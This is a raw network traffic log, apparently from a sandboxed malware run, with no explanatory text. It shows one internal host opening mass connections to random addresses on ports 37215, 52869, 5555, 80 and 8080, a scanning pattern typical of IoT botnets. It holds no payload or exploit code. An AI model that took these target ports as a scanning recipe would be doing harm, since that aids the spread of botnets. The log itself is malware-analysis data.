Feb 12, 2023 21:24:42.806353092 CET	52981	37215	192.168.2.23	197.50.167.125
Feb 12, 2023 21:24:42.806361914 CET	52981	37215	192.168.2.23	157.46.89.24
Feb 12, 2023 21:24:42.806380987 CET	52981	37215	192.168.2.23	213.152.92.96
Feb 12, 2023 21:24:42.806385994 CET	52981	37215	192.168.2.23	157.171.48.141
Feb 12, 2023 21:24:42.806391954 CET	52981	37215	192.168.2.23	197.129.231.5
Feb 12, 2023 21:24:42.806401968 CET	52981	37215	192.168.2.23	41.79.142.14
Feb 12, 2023 21:24:42.806404114 CET	52981	37215	192.168.2.23	169.151.80.240
Feb 12, 2023 21:24:42.806416988 CET	52981	37215	192.168.2.23	41.163.13.51
Feb 12, 2023 21:24:42.806428909 CET	52981	37215	192.168.2.23	157.161.167.95
Feb 12, 2023 21:24:42.806437969 CET	52981	37215	192.168.2.23	66.75.240.232
Feb 12, 2023 21:24:42.806449890 CET	52981	37215	192.168.2.23	164.211.51.24
Feb 12, 2023 21:24:42.806457043 CET	52981	37215	192.168.2.23	34.174.254.242
Feb 12, 2023 21:24:42.806471109 CET	52981	37215	192.168.2.23	213.159.18.144
Feb 12, 2023 21:24:42.806476116 CET	52981	37215	192.168.2.23	66.54.56.193
Feb 12, 2023 21:24:42.806488991 CET	52981	37215	192.168.2.23	197.128.78.49
Feb 12, 2023 21:24:42.806488991 CET	52981	37215	192.168.2.23	41.20.72.167
Feb 12, 2023 21:24:42.806504011 CET	52981	37215	192.168.2.23	41.204.115.85
Feb 12, 2023 21:24:42.806524038 CET	52981	37215	192.168.2.23	41.63.157.129
Feb 12, 2023 21:24:42.806533098 CET	52981	37215	192.168.2.23	41.81.56.247
Feb 12, 2023 21:24:42.806545019 CET	52981	37215	192.168.2.23	157.216.16.253
Feb 12, 2023 21:24:42.806545973 CET	52981	37215	192.168.2.23	157.5.166.63
Feb 12, 2023 21:24:42.806550980 CET	52981	37215	192.168.2.23	157.6.107.35
Feb 12, 2023 21:24:42.806560993 CET	52981	37215	192.168.2.23	41.26.88.53
Feb 12, 2023 21:24:42.806607008 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:42.806629896 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:42.832202911 CET	47158	80	192.168.2.23	52.55.46.50
Feb 12, 2023 21:24:42.864064932 CET	60596	81	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:42.871678114 CET	37215	34992	197.193.183.147	192.168.2.23
Feb 12, 2023 21:24:42.871783972 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:42.876214981 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:42.876252890 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:42.876708031 CET	5555	22272	175.248.39.15	192.168.2.23
Feb 12, 2023 21:24:42.880364895 CET	5555	22272	45.228.107.247	192.168.2.23
Feb 12, 2023 21:24:42.885505915 CET	37215	54676	197.197.49.49	192.168.2.23
Feb 12, 2023 21:24:42.885586977 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:42.885771990 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:42.885771990 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:42.900965929 CET	37215	52981	41.82.9.161	192.168.2.23
Feb 12, 2023 21:24:42.901792049 CET	37215	52981	197.128.78.49	192.168.2.23
Feb 12, 2023 21:24:42.901871920 CET	52981	37215	192.168.2.23	197.128.78.49
Feb 12, 2023 21:24:42.902264118 CET	37215	52981	197.128.78.49	192.168.2.23
Feb 12, 2023 21:24:42.939548969 CET	5555	22272	123.141.246.73	192.168.2.23
Feb 12, 2023 21:24:42.966979980 CET	5555	22272	27.231.18.21	192.168.2.23
Feb 12, 2023 21:24:42.991985083 CET	54954	80	192.168.2.23	54.50.46.50
Feb 12, 2023 21:24:42.992001057 CET	60252	80	192.168.2.23	56.52.46.57
Feb 12, 2023 21:24:42.992001057 CET	45950	80	192.168.2.23	56.57.46.49
Feb 12, 2023 21:24:42.992016077 CET	54958	80	192.168.2.23	54.50.46.50
Feb 12, 2023 21:24:42.992048025 CET	48218	80	192.168.2.23	56.52.46.52
Feb 12, 2023 21:24:42.992048979 CET	44612	80	192.168.2.23	56.52.46.49
Feb 12, 2023 21:24:43.015985966 CET	52022	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:43.018163919 CET	37215	52981	197.237.121.220	192.168.2.23
Feb 12, 2023 21:24:43.041814089 CET	55408	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:43.043042898 CET	54656	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:43.045876026 CET	54658	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:43.047276020 CET	55414	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:43.052089930 CET	54662	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:43.056034088 CET	55418	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:43.066909075 CET	37215	52981	175.230.225.71	192.168.2.23
Feb 12, 2023 21:24:43.087304115 CET	37215	52981	157.147.25.244	192.168.2.23
Feb 12, 2023 21:24:43.087961912 CET	55984	80	192.168.2.23	49.55.56.46
Feb 12, 2023 21:24:43.087989092 CET	50562	80	192.168.2.23	49.49.53.46
Feb 12, 2023 21:24:43.087990999 CET	44510	80	192.168.2.23	57.54.46.49
Feb 12, 2023 21:24:43.087991953 CET	42568	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:43.087991953 CET	60318	80	192.168.2.23	49.50.46.49
Feb 12, 2023 21:24:43.087991953 CET	39222	80	192.168.2.23	49.57.55.46
Feb 12, 2023 21:24:43.088004112 CET	45020	80	192.168.2.23	49.57.46.49
Feb 12, 2023 21:24:43.088001013 CET	45644	80	192.168.2.23	50.48.56.46
Feb 12, 2023 21:24:43.088037968 CET	50106	80	192.168.2.23	49.53.53.46
Feb 12, 2023 21:24:43.105809927 CET	37215	52981	60.124.64.233	192.168.2.23
Feb 12, 2023 21:24:43.120012999 CET	56284	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:24:43.151952028 CET	60180	80	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:43.151969910 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:43.183973074 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:43.280009985 CET	48792	52869	192.168.2.23	55.50.46.50
Feb 12, 2023 21:24:43.280026913 CET	45850	52869	192.168.2.23	57.53.46.57
Feb 12, 2023 21:24:43.280045986 CET	36480	52869	192.168.2.23	54.46.49.52
Feb 12, 2023 21:24:43.283992052 CET	37492	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:43.311955929 CET	43004	52869	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:43.311981916 CET	58102	52869	192.168.2.23	49.55.50.46
Feb 12, 2023 21:24:43.311985970 CET	52134	52869	192.168.2.23	50.49.46.49
Feb 12, 2023 21:24:43.312019110 CET	49188	52869	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:43.312027931 CET	34592	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:43.312026978 CET	33538	52869	192.168.2.23	56.46.50.53
Feb 12, 2023 21:24:43.353107929 CET	52204	80	192.168.2.23	52.49.46.50
Feb 12, 2023 21:24:43.355247021 CET	40706	80	192.168.2.23	53.46.51.57
Feb 12, 2023 21:24:43.357964993 CET	36526	80	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:43.360600948 CET	49814	80	192.168.2.23	56.50.46.49
Feb 12, 2023 21:24:43.363343000 CET	53892	80	192.168.2.23	51.49.46.49
Feb 12, 2023 21:24:43.365780115 CET	57258	80	192.168.2.23	55.56.46.49
Feb 12, 2023 21:24:43.396598101 CET	80	52204	52.49.46.50	192.168.2.23
Feb 12, 2023 21:24:43.396675110 CET	52204	80	192.168.2.23	52.49.46.50
Feb 12, 2023 21:24:43.439966917 CET	35692	49152	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:43.466109037 CET	52204	80	192.168.2.23	52.49.46.50
Feb 12, 2023 21:24:43.504039049 CET	52022	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:43.509547949 CET	80	52204	52.49.46.50	192.168.2.23
Feb 12, 2023 21:24:43.509780884 CET	52204	80	192.168.2.23	52.49.46.50
Feb 12, 2023 21:24:43.632014036 CET	46264	8080	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:43.632026911 CET	50446	8080	192.168.2.23	49.50.51.46
Feb 12, 2023 21:24:43.632030964 CET	51942	8080	192.168.2.23	49.53.54.46
Feb 12, 2023 21:24:43.632046938 CET	55360	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:43.632046938 CET	46134	8080	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:43.632142067 CET	46252	80	192.168.2.23	49.56.54.46
Feb 12, 2023 21:24:43.632144928 CET	57196	80	192.168.2.23	53.56.46.49
Feb 12, 2023 21:24:43.632142067 CET	42680	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:43.632158041 CET	51060	80	192.168.2.23	49.53.54.46
Feb 12, 2023 21:24:43.632158041 CET	43498	80	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:43.632200003 CET	36544	80	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:43.632241011 CET	55114	80	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:43.632258892 CET	52150	80	192.168.2.23	49.50.51.46
Feb 12, 2023 21:24:43.632287025 CET	32828	8080	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:43.632287025 CET	39210	8080	192.168.2.23	53.56.46.49
Feb 12, 2023 21:24:43.632304907 CET	35664	80	192.168.2.23	49.51.57.46
Feb 12, 2023 21:24:43.664042950 CET	55464	8080	192.168.2.23	49.51.57.46
Feb 12, 2023 21:24:43.664050102 CET	51342	8080	192.168.2.23	49.56.54.46
Feb 12, 2023 21:24:43.672019005 CET	34440	52869	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:43.675673008 CET	37310	52869	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:43.697427988 CET	49302	52869	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:43.699955940 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:43.713855982 CET	51060	52869	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:43.727066994 CET	47130	52869	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:43.731863022 CET	53312	52869	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:43.735479116 CET	34710	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:43.739578009 CET	45980	52869	192.168.2.23	49.52.50.46
Feb 12, 2023 21:24:43.745918989 CET	41306	52869	192.168.2.23	50.49.55.46
Feb 12, 2023 21:24:43.753629923 CET	39440	52869	192.168.2.23	50.49.46.54
Feb 12, 2023 21:24:43.760004997 CET	34914	8080	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:43.760077000 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:43.776056051 CET	22272	5555	192.168.2.23	112.97.225.194
Feb 12, 2023 21:24:43.776058912 CET	22272	5555	192.168.2.23	144.135.248.15
Feb 12, 2023 21:24:43.776108027 CET	22272	5555	192.168.2.23	23.213.166.64
Feb 12, 2023 21:24:43.776109934 CET	22272	5555	192.168.2.23	97.0.62.171
Feb 12, 2023 21:24:43.776109934 CET	22272	5555	192.168.2.23	143.214.158.103
Feb 12, 2023 21:24:43.776109934 CET	22272	5555	192.168.2.23	25.62.176.220
Feb 12, 2023 21:24:43.776109934 CET	22272	5555	192.168.2.23	126.175.40.89
Feb 12, 2023 21:24:43.776124954 CET	22272	5555	192.168.2.23	141.255.88.210
Feb 12, 2023 21:24:43.776124954 CET	22272	5555	192.168.2.23	9.82.43.182
Feb 12, 2023 21:24:43.776124954 CET	22272	5555	192.168.2.23	145.179.212.236
Feb 12, 2023 21:24:43.776134968 CET	22272	5555	192.168.2.23	134.192.230.42
Feb 12, 2023 21:24:43.776200056 CET	22272	5555	192.168.2.23	72.144.128.195
Feb 12, 2023 21:24:43.776201963 CET	22272	5555	192.168.2.23	195.9.219.92
Feb 12, 2023 21:24:43.776217937 CET	22272	5555	192.168.2.23	85.228.51.167
Feb 12, 2023 21:24:43.776220083 CET	22272	5555	192.168.2.23	200.178.156.203
Feb 12, 2023 21:24:43.776252031 CET	22272	5555	192.168.2.23	102.140.248.229
Feb 12, 2023 21:24:43.776289940 CET	22272	5555	192.168.2.23	108.1.10.59
Feb 12, 2023 21:24:43.776289940 CET	22272	5555	192.168.2.23	180.3.74.73
Feb 12, 2023 21:24:43.776297092 CET	22272	5555	192.168.2.23	182.183.133.169
Feb 12, 2023 21:24:43.776360035 CET	22272	5555	192.168.2.23	24.171.44.255
Feb 12, 2023 21:24:43.776370049 CET	22272	5555	192.168.2.23	188.254.190.12
Feb 12, 2023 21:24:43.776396036 CET	22272	5555	192.168.2.23	213.122.28.145
Feb 12, 2023 21:24:43.776427031 CET	22272	5555	192.168.2.23	53.123.14.160
Feb 12, 2023 21:24:43.776427031 CET	22272	5555	192.168.2.23	161.243.225.105
Feb 12, 2023 21:24:43.776465893 CET	22272	5555	192.168.2.23	105.211.85.219
Feb 12, 2023 21:24:43.776501894 CET	22272	5555	192.168.2.23	104.181.89.49
Feb 12, 2023 21:24:43.776510000 CET	22272	5555	192.168.2.23	217.76.214.6
Feb 12, 2023 21:24:43.776527882 CET	22272	5555	192.168.2.23	183.16.5.161
Feb 12, 2023 21:24:43.776535034 CET	22272	5555	192.168.2.23	97.45.165.244
Feb 12, 2023 21:24:43.776535034 CET	22272	5555	192.168.2.23	131.63.90.225
Feb 12, 2023 21:24:43.776540041 CET	22272	5555	192.168.2.23	86.166.255.87
Feb 12, 2023 21:24:43.776573896 CET	22272	5555	192.168.2.23	198.241.109.40
Feb 12, 2023 21:24:43.776585102 CET	22272	5555	192.168.2.23	70.56.65.211
Feb 12, 2023 21:24:43.776592016 CET	22272	5555	192.168.2.23	192.161.185.213
Feb 12, 2023 21:24:43.776603937 CET	22272	5555	192.168.2.23	122.40.83.211
Feb 12, 2023 21:24:43.776624918 CET	22272	5555	192.168.2.23	147.37.89.24
Feb 12, 2023 21:24:43.776635885 CET	22272	5555	192.168.2.23	113.248.31.126
Feb 12, 2023 21:24:43.776635885 CET	22272	5555	192.168.2.23	219.28.99.30
Feb 12, 2023 21:24:43.776659966 CET	22272	5555	192.168.2.23	122.83.246.63
Feb 12, 2023 21:24:43.776663065 CET	22272	5555	192.168.2.23	32.145.138.114
Feb 12, 2023 21:24:43.776686907 CET	22272	5555	192.168.2.23	92.44.232.71
Feb 12, 2023 21:24:43.776695013 CET	22272	5555	192.168.2.23	216.6.191.4
Feb 12, 2023 21:24:43.776720047 CET	22272	5555	192.168.2.23	73.77.104.15
Feb 12, 2023 21:24:43.776720047 CET	22272	5555	192.168.2.23	173.10.101.61
Feb 12, 2023 21:24:43.776751995 CET	22272	5555	192.168.2.23	31.141.228.81
Feb 12, 2023 21:24:43.776751995 CET	22272	5555	192.168.2.23	113.96.186.230
Feb 12, 2023 21:24:43.776774883 CET	22272	5555	192.168.2.23	89.140.190.172
Feb 12, 2023 21:24:43.776784897 CET	22272	5555	192.168.2.23	88.83.208.22
Feb 12, 2023 21:24:43.776802063 CET	22272	5555	192.168.2.23	137.21.64.45
Feb 12, 2023 21:24:43.776834965 CET	22272	5555	192.168.2.23	162.36.220.197
Feb 12, 2023 21:24:43.776865005 CET	22272	5555	192.168.2.23	12.47.54.42
Feb 12, 2023 21:24:43.776880980 CET	22272	5555	192.168.2.23	39.207.190.151
Feb 12, 2023 21:24:43.776896000 CET	22272	5555	192.168.2.23	189.216.131.167
Feb 12, 2023 21:24:43.776901007 CET	22272	5555	192.168.2.23	204.238.203.93
Feb 12, 2023 21:24:43.776901007 CET	22272	5555	192.168.2.23	162.212.236.31
Feb 12, 2023 21:24:43.776942968 CET	22272	5555	192.168.2.23	9.210.198.44
Feb 12, 2023 21:24:43.776961088 CET	22272	5555	192.168.2.23	192.126.200.124
Feb 12, 2023 21:24:43.776973009 CET	22272	5555	192.168.2.23	36.55.56.135
Feb 12, 2023 21:24:43.776993990 CET	22272	5555	192.168.2.23	134.47.149.64
Feb 12, 2023 21:24:43.777021885 CET	22272	5555	192.168.2.23	87.194.38.51
Feb 12, 2023 21:24:43.777069092 CET	22272	5555	192.168.2.23	213.27.174.224
Feb 12, 2023 21:24:43.777070045 CET	22272	5555	192.168.2.23	192.127.106.73
Feb 12, 2023 21:24:43.777074099 CET	22272	5555	192.168.2.23	176.227.209.146
Feb 12, 2023 21:24:43.777102947 CET	22272	5555	192.168.2.23	2.217.198.99
Feb 12, 2023 21:24:43.777132988 CET	22272	5555	192.168.2.23	192.45.150.102
Feb 12, 2023 21:24:43.777134895 CET	22272	5555	192.168.2.23	177.50.12.246
Feb 12, 2023 21:24:43.777137041 CET	22272	5555	192.168.2.23	176.12.227.184
Feb 12, 2023 21:24:43.777188063 CET	22272	5555	192.168.2.23	204.62.209.125
Feb 12, 2023 21:24:43.777188063 CET	22272	5555	192.168.2.23	66.166.227.68
Feb 12, 2023 21:24:43.777188063 CET	22272	5555	192.168.2.23	175.215.105.162
Feb 12, 2023 21:24:43.777209997 CET	22272	5555	192.168.2.23	201.60.120.17
Feb 12, 2023 21:24:43.777209997 CET	22272	5555	192.168.2.23	188.42.248.137
Feb 12, 2023 21:24:43.777225971 CET	22272	5555	192.168.2.23	188.249.54.10
Feb 12, 2023 21:24:43.777230024 CET	22272	5555	192.168.2.23	61.177.169.205
Feb 12, 2023 21:24:43.777236938 CET	22272	5555	192.168.2.23	146.135.103.166
Feb 12, 2023 21:24:43.777237892 CET	22272	5555	192.168.2.23	68.66.94.188
Feb 12, 2023 21:24:43.777285099 CET	22272	5555	192.168.2.23	122.177.221.85
Feb 12, 2023 21:24:43.777285099 CET	22272	5555	192.168.2.23	44.244.121.44
Feb 12, 2023 21:24:43.777316093 CET	22272	5555	192.168.2.23	184.213.81.254
Feb 12, 2023 21:24:43.777338982 CET	22272	5555	192.168.2.23	68.243.103.222
Feb 12, 2023 21:24:43.777334929 CET	22272	5555	192.168.2.23	89.3.120.31
Feb 12, 2023 21:24:43.777343988 CET	22272	5555	192.168.2.23	12.130.224.201
Feb 12, 2023 21:24:43.777334929 CET	22272	5555	192.168.2.23	162.198.94.92
Feb 12, 2023 21:24:43.777334929 CET	22272	5555	192.168.2.23	186.129.146.165
Feb 12, 2023 21:24:43.777345896 CET	22272	5555	192.168.2.23	163.11.53.139
Feb 12, 2023 21:24:43.777345896 CET	22272	5555	192.168.2.23	148.163.117.185
Feb 12, 2023 21:24:43.777345896 CET	22272	5555	192.168.2.23	149.231.252.33
Feb 12, 2023 21:24:43.777378082 CET	22272	5555	192.168.2.23	123.196.12.35
Feb 12, 2023 21:24:43.777395964 CET	22272	5555	192.168.2.23	219.7.120.197
Feb 12, 2023 21:24:43.777398109 CET	22272	5555	192.168.2.23	221.143.84.35
Feb 12, 2023 21:24:43.777395964 CET	22272	5555	192.168.2.23	143.51.216.166
Feb 12, 2023 21:24:43.777410030 CET	22272	5555	192.168.2.23	20.10.137.209
Feb 12, 2023 21:24:43.777410030 CET	22272	5555	192.168.2.23	187.136.53.6
Feb 12, 2023 21:24:43.777420998 CET	22272	5555	192.168.2.23	105.85.207.89
Feb 12, 2023 21:24:43.777420998 CET	22272	5555	192.168.2.23	105.104.200.156
Feb 12, 2023 21:24:43.777448893 CET	22272	5555	192.168.2.23	157.9.12.186
Feb 12, 2023 21:24:43.777472973 CET	22272	5555	192.168.2.23	183.52.70.196
Feb 12, 2023 21:24:43.777482033 CET	22272	5555	192.168.2.23	160.77.249.226
Feb 12, 2023 21:24:43.777522087 CET	22272	5555	192.168.2.23	183.26.46.67
Feb 12, 2023 21:24:43.777523994 CET	22272	5555	192.168.2.23	216.16.174.76
Feb 12, 2023 21:24:43.777540922 CET	22272	5555	192.168.2.23	44.190.247.141
Feb 12, 2023 21:24:43.777565956 CET	22272	5555	192.168.2.23	182.117.124.173
Feb 12, 2023 21:24:43.777601004 CET	22272	5555	192.168.2.23	18.30.8.167
Feb 12, 2023 21:24:43.777625084 CET	22272	5555	192.168.2.23	24.180.138.236
Feb 12, 2023 21:24:43.777631044 CET	22272	5555	192.168.2.23	87.211.106.51
Feb 12, 2023 21:24:43.777642012 CET	22272	5555	192.168.2.23	156.88.45.216
Feb 12, 2023 21:24:43.777673006 CET	22272	5555	192.168.2.23	208.235.145.196
Feb 12, 2023 21:24:43.777677059 CET	22272	5555	192.168.2.23	9.224.151.46
Feb 12, 2023 21:24:43.777692080 CET	22272	5555	192.168.2.23	57.30.146.70
Feb 12, 2023 21:24:43.777724981 CET	22272	5555	192.168.2.23	181.165.56.40
Feb 12, 2023 21:24:43.777729034 CET	22272	5555	192.168.2.23	38.116.73.64
Feb 12, 2023 21:24:43.777734995 CET	22272	5555	192.168.2.23	27.39.171.224
Feb 12, 2023 21:24:43.777744055 CET	22272	5555	192.168.2.23	14.130.92.155
Feb 12, 2023 21:24:43.777745008 CET	22272	5555	192.168.2.23	19.41.65.182
Feb 12, 2023 21:24:43.777744055 CET	22272	5555	192.168.2.23	86.34.71.160
Feb 12, 2023 21:24:43.777781963 CET	22272	5555	192.168.2.23	217.79.239.74
Feb 12, 2023 21:24:43.777806997 CET	22272	5555	192.168.2.23	152.110.22.168
Feb 12, 2023 21:24:43.777868032 CET	22272	5555	192.168.2.23	59.135.99.218
Feb 12, 2023 21:24:43.777882099 CET	22272	5555	192.168.2.23	116.231.166.93
Feb 12, 2023 21:24:43.777882099 CET	22272	5555	192.168.2.23	187.162.149.80
Feb 12, 2023 21:24:43.777882099 CET	22272	5555	192.168.2.23	213.71.145.14
Feb 12, 2023 21:24:43.777896881 CET	22272	5555	192.168.2.23	20.130.37.247
Feb 12, 2023 21:24:43.777901888 CET	22272	5555	192.168.2.23	96.127.88.225
Feb 12, 2023 21:24:43.777901888 CET	22272	5555	192.168.2.23	19.89.223.197
Feb 12, 2023 21:24:43.777911901 CET	22272	5555	192.168.2.23	180.222.129.24
Feb 12, 2023 21:24:43.777911901 CET	22272	5555	192.168.2.23	189.38.118.179
Feb 12, 2023 21:24:43.777930021 CET	22272	5555	192.168.2.23	132.120.182.202
Feb 12, 2023 21:24:43.777957916 CET	22272	5555	192.168.2.23	91.141.253.208
Feb 12, 2023 21:24:43.777957916 CET	22272	5555	192.168.2.23	8.59.224.168
Feb 12, 2023 21:24:43.777972937 CET	22272	5555	192.168.2.23	81.121.128.160
Feb 12, 2023 21:24:43.777997971 CET	22272	5555	192.168.2.23	63.60.42.128
Feb 12, 2023 21:24:43.777997971 CET	22272	5555	192.168.2.23	75.23.123.163
Feb 12, 2023 21:24:43.778000116 CET	22272	5555	192.168.2.23	53.77.14.174
Feb 12, 2023 21:24:43.778000116 CET	22272	5555	192.168.2.23	173.101.138.163
Feb 12, 2023 21:24:43.778000116 CET	22272	5555	192.168.2.23	83.210.13.55
Feb 12, 2023 21:24:43.778012991 CET	22272	5555	192.168.2.23	13.76.121.67
Feb 12, 2023 21:24:43.778016090 CET	22272	5555	192.168.2.23	58.1.154.162
Feb 12, 2023 21:24:43.778016090 CET	22272	5555	192.168.2.23	45.124.131.88
Feb 12, 2023 21:24:43.778026104 CET	22272	5555	192.168.2.23	138.215.135.39
Feb 12, 2023 21:24:43.778062105 CET	22272	5555	192.168.2.23	98.224.135.72
Feb 12, 2023 21:24:43.778085947 CET	22272	5555	192.168.2.23	198.69.88.64
Feb 12, 2023 21:24:43.778131962 CET	22272	5555	192.168.2.23	112.198.139.8
Feb 12, 2023 21:24:43.778134108 CET	22272	5555	192.168.2.23	57.235.28.4
Feb 12, 2023 21:24:43.778134108 CET	22272	5555	192.168.2.23	146.71.216.232
Feb 12, 2023 21:24:43.778140068 CET	22272	5555	192.168.2.23	162.83.149.202
Feb 12, 2023 21:24:43.778177977 CET	22272	5555	192.168.2.23	82.154.21.235
Feb 12, 2023 21:24:43.778203011 CET	22272	5555	192.168.2.23	193.253.180.96
Feb 12, 2023 21:24:43.778238058 CET	22272	5555	192.168.2.23	145.208.250.66
Feb 12, 2023 21:24:43.778244972 CET	22272	5555	192.168.2.23	212.52.118.3
Feb 12, 2023 21:24:43.778270006 CET	22272	5555	192.168.2.23	54.2.157.94
Feb 12, 2023 21:24:43.778280973 CET	22272	5555	192.168.2.23	109.206.151.116
Feb 12, 2023 21:24:43.778294086 CET	22272	5555	192.168.2.23	150.21.82.141
Feb 12, 2023 21:24:43.778331995 CET	22272	5555	192.168.2.23	90.245.207.57
Feb 12, 2023 21:24:43.778332949 CET	22272	5555	192.168.2.23	18.64.90.158
Feb 12, 2023 21:24:43.778337955 CET	22272	5555	192.168.2.23	45.147.0.165
Feb 12, 2023 21:24:43.778373957 CET	22272	5555	192.168.2.23	123.106.152.249
Feb 12, 2023 21:24:43.778378010 CET	22272	5555	192.168.2.23	96.94.104.3
Feb 12, 2023 21:24:43.778399944 CET	22272	5555	192.168.2.23	8.154.117.91
Feb 12, 2023 21:24:43.778436899 CET	22272	5555	192.168.2.23	206.247.248.234
Feb 12, 2023 21:24:43.780514956 CET	22272	5555	192.168.2.23	119.72.190.162
Feb 12, 2023 21:24:43.830737114 CET	5555	22272	195.9.219.92	192.168.2.23
Feb 12, 2023 21:24:43.836565018 CET	5555	22272	45.147.0.165	192.168.2.23
Feb 12, 2023 21:24:43.857017040 CET	42206	5555	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:43.886925936 CET	52981	37215	192.168.2.23	41.23.253.59
Feb 12, 2023 21:24:43.886974096 CET	52981	37215	192.168.2.23	41.169.51.143
Feb 12, 2023 21:24:43.886975050 CET	52981	37215	192.168.2.23	41.129.233.52
Feb 12, 2023 21:24:43.887005091 CET	52981	37215	192.168.2.23	197.56.12.66
Feb 12, 2023 21:24:43.887005091 CET	52981	37215	192.168.2.23	197.38.238.161
Feb 12, 2023 21:24:43.887005091 CET	52981	37215	192.168.2.23	41.70.97.123
Feb 12, 2023 21:24:43.887020111 CET	52981	37215	192.168.2.23	157.226.243.220
Feb 12, 2023 21:24:43.887039900 CET	52981	37215	192.168.2.23	217.89.165.50
Feb 12, 2023 21:24:43.887039900 CET	52981	37215	192.168.2.23	197.98.232.230
Feb 12, 2023 21:24:43.887038946 CET	52981	37215	192.168.2.23	157.213.173.152
Feb 12, 2023 21:24:43.887048960 CET	52981	37215	192.168.2.23	12.178.76.247
Feb 12, 2023 21:24:43.887048960 CET	52981	37215	192.168.2.23	79.26.249.158
Feb 12, 2023 21:24:43.887056112 CET	52981	37215	192.168.2.23	41.164.69.175
Feb 12, 2023 21:24:43.887056112 CET	52981	37215	192.168.2.23	166.230.164.233
Feb 12, 2023 21:24:43.887056112 CET	52981	37215	192.168.2.23	129.192.98.139
Feb 12, 2023 21:24:43.887056112 CET	52981	37215	192.168.2.23	41.175.165.70
Feb 12, 2023 21:24:43.887070894 CET	52981	37215	192.168.2.23	2.63.178.193
Feb 12, 2023 21:24:43.887070894 CET	52981	37215	192.168.2.23	197.206.60.120
Feb 12, 2023 21:24:43.887070894 CET	52981	37215	192.168.2.23	41.41.4.176
Feb 12, 2023 21:24:43.887070894 CET	52981	37215	192.168.2.23	41.190.136.208
Feb 12, 2023 21:24:43.887074947 CET	52981	37215	192.168.2.23	24.33.212.113
Feb 12, 2023 21:24:43.887075901 CET	52981	37215	192.168.2.23	157.85.250.132
Feb 12, 2023 21:24:43.887079954 CET	52981	37215	192.168.2.23	32.161.52.96
Feb 12, 2023 21:24:43.887079954 CET	52981	37215	192.168.2.23	41.20.209.197
Feb 12, 2023 21:24:43.887079954 CET	52981	37215	192.168.2.23	197.67.139.60
Feb 12, 2023 21:24:43.887085915 CET	52981	37215	192.168.2.23	157.211.73.63
Feb 12, 2023 21:24:43.887085915 CET	52981	37215	192.168.2.23	197.8.122.3
Feb 12, 2023 21:24:43.887094021 CET	52981	37215	192.168.2.23	208.141.17.19
Feb 12, 2023 21:24:43.887096882 CET	52981	37215	192.168.2.23	41.91.113.196
Feb 12, 2023 21:24:43.887109041 CET	52981	37215	192.168.2.23	197.121.37.164
Feb 12, 2023 21:24:43.887109041 CET	52981	37215	192.168.2.23	41.249.160.157
Feb 12, 2023 21:24:43.887109041 CET	52981	37215	192.168.2.23	41.215.70.171
Feb 12, 2023 21:24:43.887109041 CET	52981	37215	192.168.2.23	197.206.90.41
Feb 12, 2023 21:24:43.887120962 CET	52981	37215	192.168.2.23	197.130.20.59
Feb 12, 2023 21:24:43.887123108 CET	52981	37215	192.168.2.23	41.217.239.57
Feb 12, 2023 21:24:43.887123108 CET	52981	37215	192.168.2.23	157.233.65.111
Feb 12, 2023 21:24:43.887131929 CET	52981	37215	192.168.2.23	27.118.122.113
Feb 12, 2023 21:24:43.887131929 CET	52981	37215	192.168.2.23	157.7.74.47
Feb 12, 2023 21:24:43.887131929 CET	52981	37215	192.168.2.23	160.167.218.81
Feb 12, 2023 21:24:43.887131929 CET	52981	37215	192.168.2.23	157.47.81.121
Feb 12, 2023 21:24:43.887150049 CET	52981	37215	192.168.2.23	157.52.41.163
Feb 12, 2023 21:24:43.887150049 CET	52981	37215	192.168.2.23	157.122.175.119
Feb 12, 2023 21:24:43.887150049 CET	52981	37215	192.168.2.23	157.43.92.237
Feb 12, 2023 21:24:43.887159109 CET	52981	37215	192.168.2.23	157.212.18.197
